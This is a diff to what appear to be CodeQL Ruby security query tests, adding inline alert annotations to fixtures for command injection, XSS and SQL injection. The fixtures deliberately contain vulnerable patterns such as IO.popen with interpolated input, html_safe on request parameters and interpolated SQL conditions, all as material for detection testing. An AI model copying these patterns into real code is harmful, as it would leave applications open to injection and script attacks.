+++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref
@@ -1 +1,2 @@
-queries/security/cwe-078/KernelOpen.ql
\ No newline at end of file
+query: queries/security/cwe-078/KernelOpen.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb
index 412e2c50ead8..ca8d4aee1925 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb
@@ -1,16 +1,16 @@
 class UsersController < ActionController::Base
   def create
-    file = params[:file]
-    open(file) # BAD
-    IO.read(file) # BAD
-    IO.write(file) # BAD
-    IO.binread(file) # BAD
-    IO.binwrite(file) # BAD
-    IO.foreach(file) # BAD
-    IO.readlines(file) # BAD
-    URI.open(file) # BAD
+    file = params[:file] # $ Source
+    open(file) # $ Alert // BAD
+    IO.read(file) # $ Alert // BAD
+    IO.write(file) # $ Alert // BAD
+    IO.binread(file) # $ Alert // BAD
+    IO.binwrite(file) # $ Alert // BAD
+    IO.foreach(file) # $ Alert // BAD
+    IO.readlines(file) # $ Alert // BAD
+    URI.open(file) # $ Alert // BAD
 
-    IO.read(File.join(file, "")) # BAD - file as first argument to File.join 
+    IO.read(File.join(file, "")) # $ Alert // BAD - file as first argument to File.join
     IO.read(File.join("", file)) # GOOD - file path is sanitised by guard
 
     File.open(file).read # GOOD
@@ -23,6 +23,6 @@ def create
       IO.read(file) # GOOD - file path is sanitised by guard
     end
 
-    open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized
+    open(file) # $ Alert // BAD - sanity check to verify that file was not mistakenly marked as sanitized
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref
index 0b23d9102b9a..7b559b55ae08 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref
@@ -1 +1,2 @@
-queries/security/cwe-078/NonConstantKernelOpen.ql
\ No newline at end of file
+query: queries/security/cwe-078/NonConstantKernelOpen.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb
index 6b8294fa1112..4283fd4c9696 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb
@@ -4,18 +4,18 @@ class UsersController < ActionController::Base
 
   def create
     file = params[:file]
-    open(file) # BAD
-    IO.read(file) # BAD
-    IO.write(file) # BAD
-    IO.binread(file) # BAD
-    IO.binwrite(file) # BAD
-    IO.foreach(file) # BAD
-    IO.readlines(file) # BAD
-    URI.open(file) # BAD
+    open(file) # $ Alert // BAD
+    IO.read(file) # $ Alert // BAD
+    IO.write(file) # $ Alert // BAD
+    IO.binread(file) # $ Alert // BAD
+    IO.binwrite(file) # $ Alert // BAD
+    IO.foreach(file) # $ Alert // BAD
+    IO.readlines(file) # $ Alert // BAD
+    URI.open(file) # $ Alert // BAD
 
     File.open(file).read # GOOD
 
-    Kernel.open(file) # BAD
+    Kernel.open(file) # $ Alert // BAD
 
     File.open(file, "r") # GOOD
 
@@ -25,7 +25,7 @@ def create
 
     Kernel.open("this is #{fine}") # GOOD
 
-    Kernel.open("#{this_is} bad") # BAD
+    Kernel.open("#{this_is} bad") # $ Alert // BAD
 
     open("| #{this_is_an_explicit_command} foo bar") # GOOD
 
@@ -43,6 +43,6 @@ def create
     
     open.where(external: false) # GOOD - an open method is called withoout arguments
     
-    open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized
+    open(file) # $ Alert // BAD - sanity check to verify that file was not mistakenly marked as sanitized
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
index 99292da7663c..da9659dee163 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
@@ -1 +1,2 @@
-queries/security/cwe-078/UnsafeShellCommandConstruction.ql
\ No newline at end of file
+query: queries/security/cwe-078/UnsafeShellCommandConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb
index 0a385f5f6bc0..d5f03d94b5ae 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb
@@ -1,6 +1,5 @@
 class Foobar
-  def foo1(target)
-    IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported...
+  def foo1(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK - everything assumed to be imported...
   end
 end
-  
\ No newline at end of file
diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb
index 22eaa13bcc02..29d1b95e3fb8 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb
@@ -1,7 +1,7 @@
 class Foobar
-  def foo1(target)
-    IO.popen("cat #{target}", "w") # NOT OK
+  def foo1(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK
   end
 end
 
-require 'sub/other2'
\ No newline at end of file
+require 'sub/other2'
diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb
index 007dae343ffe..76deb5234b84 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb
@@ -1,5 +1,5 @@
 class Foobar
-  def foo1(target)
-    IO.popen("cat #{target}", "w") # NOT OK
+  def foo1(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb
index 487ca06ebd64..a2c3cfe38cac 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb
+++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb
@@ -1,10 +1,10 @@
 class Foobar
-  def foo1(target)
-    IO.popen("cat #{target}", "w") # NOT OK
+  def foo1(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK
   end
 
-  def foo2(x) 
-    format = sprintf("cat %s", x) # NOT OK
+  def foo2(x)  # $ Source
+    format = sprintf("cat %s", x) # $ Alert // NOT OK
     IO.popen(format, "w")
   end
 
@@ -12,30 +12,30 @@ def fileRead1(path)
     File.read(path) # OK
   end
 
-  def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) 
+  def my_exec(cmd, command, myCmd, myCommand, innocent_file_path)  # $ Source
     IO.popen("which #{cmd}", "w") # OK - the parameter is named `cmd`, so it's meant to be a command
     IO.popen("which #{command}", "w") # OK - the parameter is named `command`, so it's meant to be a command
     IO.popen("which #{myCmd}", "w") # OK - the parameter is named `myCmd`, so it's meant to be a command
     IO.popen("which #{myCommand}", "w") # OK - the parameter is named `myCommand`, so it's meant to be a command
-    IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command
+    IO.popen("which #{innocent_file_path}", "w") # $ Alert // NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command
   end
 
-  def escaped(file_path)
+  def escaped(file_path) # $ Source
     IO.popen("cat #{file_path.shellescape}", "w") # OK - the parameter is escaped
 
-    IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped
+    IO.popen("cat #{file_path}", "w") # $ Alert // NOT OK - the parameter is not escaped
   end
 end
 
 require File.join(File.dirname(__FILE__), 'sub', 'other')
 
 class Foobar2
-  def foo1(target)
-    IO.popen("cat #{target}", "w") # NOT OK
+  def foo1(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK
   end
 
-  def id(x) 
-    IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant.
+  def id(x)  # $ Source
+    IO.popen("cat #{x}", "w") # $ Alert // NOT OK - the parameter is not a constant.
     return x
   end
     
@@ -44,27 +44,27 @@ def thisIsSafe()
   end    
 
   # class methods
-  def self.foo(target)
-    IO.popen("cat #{target}", "w") # NOT OK
+  def self.foo(target) # $ Source
+    IO.popen("cat #{target}", "w") # $ Alert // NOT OK
   end
 
-  def arrayJoin(x)
-    IO.popen(x.join(' '), "w") # NOT OK
+  def arrayJoin(x) # $ Source
+    IO.popen(x.join(' '), "w") # $ Alert // NOT OK
 
-    IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK
+    IO.popen(["foo", "bar", x].join(' '), "w") # $ Alert // NOT OK
   end
 
-  def string_concat(x) 
-    IO.popen("cat " + x, "w") # NOT OK
+  def string_concat(x)  # $ Source
+    IO.popen("cat " + x, "w") # $ Alert // NOT OK
   end
 
-  def array_taint (x, y)
+  def array_taint (x, y) # $ Source
     arr = ["cat"]
     arr.push(x)
-    IO.popen(arr.join(' '), "w") # NOT OK
+    IO.popen(arr.join(' '), "w") # $ Alert // NOT OK
 
     arr2 = ["cat"]
     arr2 << y
-    IO.popen(arr.join(' '), "w") # NOT OK
+    IO.popen(arr.join(' '), "w") # $ Alert // NOT OK
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref
index af140959abb2..5ab6c6da8402 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref
@@ -1 +1,2 @@
-queries/security/cwe-079/ReflectedXSS.ql
+query: queries/security/cwe-079/ReflectedXSS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref
index 78de28cb2823..ed8577c438de 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref
@@ -1 +1,2 @@
-queries/security/cwe-079/StoredXSS.ql
\ No newline at end of file
+query: queries/security/cwe-079/StoredXSS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref
index ae814bcc35c1..501577ea1b9a 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref
@@ -1 +1,2 @@
-queries/security/cwe-079/UnsafeHtmlConstruction.ql
\ No newline at end of file
+query: queries/security/cwe-079/UnsafeHtmlConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb
index 4146cc29953b..8b855847f691 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb
@@ -6,34 +6,34 @@ def index
   end
 
   def user_name
-    return params[:user_name]
+    return params[:user_name] # $ Source[rb/reflected-xss]
   end
 
   def user_name_memo
-    @user_name ||= params[:user_name]
+    @user_name ||= params[:user_name] # $ Source[rb/reflected-xss]
   end
 
   def show
-    @user_website = params[:website]
-    dt = params[:text]
+    @user_website = params[:website] # $ Source[rb/reflected-xss]
+    dt = params[:text] # $ Source[rb/reflected-xss]
     @instance_text = dt
     @safe_foo = params[:text]
     @safe_foo = "safe_foo"
     @html_escaped = ERB::Util.html_escape(params[:text])
     @header_escaped = ERB::Util.html_escape(cookies[:foo]) # OK - cookies not controllable by 3rd party
-    response.header["content-type"] = params[:content_type]
+    response.header["content-type"] = params[:content_type] # $ Alert[rb/reflected-xss]
     response.header["x-customer-header"] = params[:bar] # OK - header not relevant to XSS
     render "foo/bars/show", locals: { display_text: dt, safe_text: "hello" }
   end
 
   def make_safe_html
-    str = params[:user_name]
-    str.html_safe
+    str = params[:user_name] # $ Source[rb/reflected-xss]
+    str.html_safe # $ Alert[rb/reflected-xss]
 
-    translate("welcome", name: params[:user_name]).html_safe # NOT OK - translate preserves taint
-    t("welcome", name: params[:user_name]).html_safe # NOT OK - t is an alias of translate
+    translate("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - translate preserves taint
+    t("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - t is an alias of translate
     t("welcome_html", name: params[:user_name]).html_safe # OK - t escapes html when key ends in _html
-    I18n.t("welcome_html", name: params[:user_name]).html_safe # NOT OK - I18n.t does not escape html
-    I18n.translate("welcome_html", name: params[:user_name]).html_safe # NOT OK - alias
+    I18n.t("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - I18n.t does not escape html
+    I18n.translate("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - alias
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb
index 6dbb25083535..84918d48c4d9 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb
@@ -5,7 +5,7 @@ def user_handle
   end
 
   def show
-    dt = File.read("foo.txt")
+    dt = File.read("foo.txt") # $ Source[rb/stored-xss]
     @instance_text = dt
     @user = User.find 1
     @safe_user_handle = ERB::Util.html_escape(@user.handle)
diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb
index 54b52afe8c7f..cbd27d512dc3 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb
+++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb
@@ -2,10 +2,10 @@
 <%= raw @display_text %>
 
 <%# BAD: A local rendered raw as a local variable %>
-<%= raw display_text %>
+<%= raw display_text %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %>
 
 <%# BAD: A local rendered raw via the local_assigns hash %>
-<%= raw local_assigns[:display_text] %>
+<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %>
 
 <%# GOOD: A local rendered with default escaping via the local_assigns hash %>
 <%= local_assigns[:display_text] %>
diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb
index b8092cd883fe..f821a423c70a 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb
+++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb
@@ -1,20 +1,20 @@
 <%# BAD: An instance variable rendered without escaping %>
-<a href="<%= raw @user_website %>">website</a>
+<a href="<%= raw @user_website %>">website</a> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: A local rendered raw as a local variable %>
-<%= raw display_text %>
+<%= raw display_text %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: A local rendered raw via the local_assigns hash %>
-<%= raw local_assigns[:display_text] %>
+<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss] %>
 
 <% key = :display_text %>
 <%# BAD: A local rendered raw via the locals_assigns hash %>
-<%= raw local_assigns[key] %>
+<%= raw local_assigns[key] %> <%# $ Alert[rb/reflected-xss] %>
 
 <ul>
 <% for key in [:display_text, :safe_text] do %>
   <%# BAD: A local rendered raw via the locals hash %>
-  <li><%= raw local_assigns[key] %></li>
+  <li><%= raw local_assigns[key] %></li> <%# $ Alert[rb/reflected-xss] %>
 <% end %>
 </ul>
 
@@ -32,28 +32,28 @@
 
 <%# BAD: html_safe marks string as not requiring HTML escaping %>
 <%=
-  display_text.html_safe
+  display_text.html_safe <%# $ Alert[rb/reflected-xss] %>
 %>
 
 <%# BAD: html_safe marks string as not requiring HTML escaping %>
 <%=
-  @instance_text.html_safe
+  @instance_text.html_safe <%# $ Alert[rb/reflected-xss] %>
 %>
 
 <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %>
 
 <%# BAD: user_name is a helper method that returns unsanitized user-input %>
-<%= user_name.html_safe %>
+<%= user_name.html_safe %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: user_name_memo is a helper method that returns unsanitized user-input %>
 <%# TODO: we miss this because the return value from user_name_memo is not properly linked to this call %>
-<%= user_name_memo.html_safe %>
+<%= user_name_memo.html_safe %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: unsanitized user-input should not be passed to link_to as the URL %>
-<%= link_to "user website", params[:website] %>
+<%= link_to "user website", params[:website] %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: unsanitized user-input should not be passed to link_to as the URL %>
-<%= link_to params[:website], class: "user-link" do %>
+<%= link_to params[:website], class: "user-link" do %> <%# $ Alert[rb/reflected-xss] %>
   user website
 <% end %>
 
@@ -70,20 +70,20 @@
 %>
 
 <%# BAD: simple_format called with sanitize: false %>
-<%= simple_format(params[:comment], sanitize: false) %>
+<%= simple_format(params[:comment], sanitize: false) %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: javasript_include_tag called with remote input %>
-<%= javascript_include_tag params[:url] %>
+<%= javascript_include_tag params[:url] %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# GOOD: input is sanitized %>
 <%= sanitize(params[:comment]).html_safe %>
 
 <%# BAD: A local rendered raw as a local variable %>
-<%== display_text %>
+<%== display_text %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# BAD: translate preserves taint %>
-<%= raw translate("welcome", name: display_text) %>
-<%= raw t("welcome", name: display_text) %>
+<%= raw translate("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %>
+<%= raw t("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %>
 
 <%# GOOD: translate sanitizes for html keys %>
 <%= raw t("welcome1.html", name: display_text) %>
diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb
index d8afec1c4324..16080cb948ad 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb
+++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb
@@ -1,17 +1,17 @@
 <%# BAD: A local rendered raw as a local variable %>
-<%= raw display_text %>
+<%= raw display_text %> <%# $ Alert[rb/stored-xss] %>
 
 <%# BAD: A local rendered raw via the local_assigns hash %>
-<%= raw local_assigns[:display_text] %>
+<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/stored-xss] %>
 
 <% key = :display_text %>
 <%# BAD: A local rendered raw via the locals_assigns hash %>
-<%= raw local_assigns[key] %>
+<%= raw local_assigns[key] %> <%# $ Alert[rb/stored-xss] %>
 
 <ul>
 <% for key in [:display_text, :safe_text] do %>
   <%# BAD: A local rendered raw via the locals hash %>
-  <li><%= raw local_assigns[key] %></li>
+  <li><%= raw local_assigns[key] %></li> <%# $ Alert[rb/stored-xss] %>
 <% end %>
 </ul>
 
@@ -29,12 +29,12 @@
 
 <%# BAD: html_safe marks string as not requiring HTML escaping %>
 <%=
-  display_text.html_safe
+  display_text.html_safe <%# $ Alert[rb/stored-xss] %>
 %>
 
 <%# BAD: html_safe marks string as not requiring HTML escaping %>
 <%=
-  @instance_text.html_safe
+  @instance_text.html_safe <%# $ Alert[rb/stored-xss] %>
 %>
 
 <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %>
@@ -43,7 +43,7 @@
 <%= user_name_handle.html_safe %>
 
 <%# BAD: Direct to a database value without escaping %>
-<%= @user.handle.html_safe %>
+<%= @user.handle.html_safe %> <%# $ Alert[rb/stored-xss] %>
 
 <%# BAD: Indirect to a database value without escaping %>
 <%= @user.raw_name.html_safe %>
@@ -60,7 +60,7 @@
 <%# BAD: Direct to a database value without escaping %>
 <%=
   some_user = User.find 1
-  some_user.handle.html_safe
+  some_user.handle.html_safe <%# $ Alert[rb/stored-xss] %>
 %>
 
 <%# BAD: Indirect to a database value without escaping (currently missed due to lack of 'self' handling in ORM tracking) %>
@@ -83,7 +83,7 @@
 
 <%# BAD: Kernel.sprintf is a taint-step %>
 <%=
-  sprintf("%s", @user.handle).html_safe
+  sprintf("%s", @user.handle).html_safe <%# $ Alert[rb/stored-xss] %>
 %>
 
 <%# GOOD: The `foo.bar.baz` is not recognized as a source %>
diff --git a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb
index 3f92d5938b1c..1e025ce6ba27 100644
--- a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb
+++ b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb
@@ -1,27 +1,27 @@
 class Foobar
-  def create_user_description(name)
-    "<h2>#{name}</h2>".html_safe # NOT OK - the parameter is not escaped
+  def create_user_description(name) # $ Source[rb/html-constructed-from-input]
+    "<h2>#{name}</h2>".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped
 
     # escape
     "<h2>#{ERB::Util.html_escape(name)}</h2>".html_safe # OK - the parameter is escaped
   end
 
-  def string_like_literal name
+  def string_like_literal name # $ Source[rb/html-constructed-from-input]
     h = <<-HTML
-        <h2>#{name}</h2>
+        <h2>#{name}</h2> # $ Alert[rb/html-constructed-from-input]
     HTML
     h.html_safe # NOT OK - the parameter is not escaped
   end
 
-  def sprintf_use name
-    sprintf("<h2>%s</h2>", name).html_safe # NOT OK - the parameter is not escaped
+  def sprintf_use name # $ Source[rb/html-constructed-from-input]
+    sprintf("<h2>%s</h2>", name).html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped
 
     # escape
     sprintf("<h2>%s</h2>", ERB::Util.html_escape(name)).html_safe # OK - the parameter is escaped
   end
 
-  def create_user_description2(name)
-    "<h2>#{name}</h2>".html_safe # NOT OK - the value is not necessarily HTML safe
+  def create_user_description2(name) # $ Source[rb/html-constructed-from-input]
+    "<h2>#{name}</h2>".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the value is not necessarily HTML safe
 
     if name.html_safe?
       "<h2>#{name}</h2>".html_safe # OK - value is marked as being HTML safe
diff --git a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb
index 3a782e529d52..7bb181e96c7b 100644
--- a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb
+++ b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb
@@ -7,13 +7,13 @@ class User < ApplicationRecord
 
   def self.authenticate(name, pass)
     # BAD: possible untrusted input interpolated into SQL fragment
-    find(:first, :conditions => "name='#{name}' and pass='#{pass}'")
+    find(:first, :conditions => "name='#{name}' and pass='#{pass}'") # $ Alert
     # BAD: interpolation in array argument
-    find(:first, conditions: ["name='#{name}' and pass='#{pass}'"])
+    find(:first, conditions: ["name='#{name}' and pass='#{pass}'"]) # $ Alert
     # GOOD: using SQL parameters
     find(:first, conditions: ["name = ? and pass = ?", name, pass])
     # BAD: interpolation with flow
-    conds = "name=#{name}"
+    conds = "name=#{name}" # $ Alert
     find(:first, conditions: conds)
   end
 
@@ -27,7 +27,7 @@ class Admin < User
   def self.delete_by(condition = nil)
     # BAD: `delete_by overrides an ActiveRecord method, but doesn't perform
     # any validation before passing its arguments on to another ActiveRecord method
-    destroy_by(condition)
+    destroy_by(condition) # $ Alert
   end
 end
 
@@ -39,64 +39,64 @@ class FooController < ActionController::Base
   def some_request_handler
     # BAD: executes `SELECT AVG(#{params[:column]}) FROM "users"`
     # where `params[:column]` is unsanitized
-    User.calculate(:average, params[:column])
+    User.calculate(:average, params[:column]) # $ Alert
 
     # BAD: executes `SELECT MAX(#{params[:column]}) FROM "users"`
     # where `params[:column]` is unsanitized
-    User.maximum(params[:column])
+    User.maximum(params[:column]) # $ Alert
 
     # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')`
     # where `params[:id]` is unsanitized
-    User.delete_by("id = '#{params[:id]}'")
+    User.delete_by("id = '#{params[:id]}'") # $ Alert
 
     # BAD: executes `DELETE FROM "users" WHERE (id = '#{params[:id]}')`
     # where `params[:id]` is unsanitized
     # (in Rails < 4.0)
-    User.delete_all("id = '#{params[:id]}'")
+    User.delete_all("id = '#{params[:id]}'") # $ Alert
 
     # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')`
     # where `params[:id]` is unsanitized
-    User.destroy_by(["id = '#{params[:id]}'"])
+    User.destroy_by(["id = '#{params[:id]}'"]) # $ Alert
 
     # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')`
     # where `params[:id]` is unsanitized
     # (in Rails < 4.0)
-    User.destroy_all(["id = '#{params[:id]}'"])
+    User.destroy_all(["id = '#{params[:id]}'"]) # $ Alert
 
     # BAD: executes `SELECT "users".* FROM "users" WHERE id BETWEEN '#{params[:min_id]}' AND 100000`
     # where `params[:min_id]` is unsanitized
-    User.where(<<-SQL, MAX_USER_ID)
-      id BETWEEN '#{params[:min_id]}' AND ?
+    User.where(<<-SQL, MAX_USER_ID) # $ Alert
+      id BETWEEN '#{params[:min_id]}' AND ? # $ Source
     SQL
 
     # BAD: chained method case
     # executes `SELECT "users".* FROM "users" WHERE (NOT (user_id = 'params[:id]'))`
     # where `params[:id]` is unsanitized
-    User.where.not("user.id = '#{params[:id]}'")
+    User.where.not("user.id = '#{params[:id]}'") # $ Alert
 
-    User.authenticate(params[:name], params[:pass])
+    User.authenticate(params[:name], params[:pass]) # $ Source
 
     # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` LIMIT 1
     # where `params[:id]` is unsanitized
-    User.find_or_initialize_by("id = '#{params[:id]}'")
+    User.find_or_initialize_by("id = '#{params[:id]}'") # $ Alert
 
     user = User.first
     # BAD: executes `SELECT "users".* FROM "users" WHERE id = 1 LIMIT 1 #{params[:lock]}`
     # where `params[:lock]` is unsanitized
-    user.reload(lock: params[:lock])
+    user.reload(lock: params[:lock]) # $ Alert
 
     # BAD: executes `SELECT #{params[:column]} FROM "users"`
     # where `params[:column]` is unsanitized
-    User.select(params[:column])
-    User.reselect(params[:column])
+    User.select(params[:column]) # $ Alert
+    User.reselect(params[:column]) # $ Alert
 
     # BAD: executes `SELECT "users".* FROM "users" WHERE (#{params[:condition]})`
     # where `params[:condition]` is unsanitized
-    User.rewhere(params[:condition])
+    User.rewhere(params[:condition]) # $ Alert
 
     # BAD: executes `UPDATE "users" SET #{params[:fields]}`
     # where `params[:fields]` is unsanitized
-    User.update_all(params[:fields])
+    User.update_all(params[:fields]) # $ Alert
 
     # GOOD -- `update_all` sanitizes its bind variable arguments
     User.find_by(name: params[:user_name])
@@ -104,41 +104,41 @@ def some_request_handler
 
     # BAD -- `update_all` does not sanitize its query (array arg)
     User.find_by(name: params[:user_name])
-      .update_all(["name = '#{params[:new_user_name]}'"])
+      .update_all(["name = '#{params[:new_user_name]}'"]) # $ Alert
 
     # BAD -- `update_all` does not sanitize its query (string arg)
     User.find_by(name: params[:user_name])
-      .update_all("name = '#{params[:new_user_name]}'")
+      .update_all("name = '#{params[:new_user_name]}'") # $ Alert
 
-    User.reorder(params[:direction])
+    User.reorder(params[:direction]) # $ Alert
 
-    User.select('a','b', params[:column])
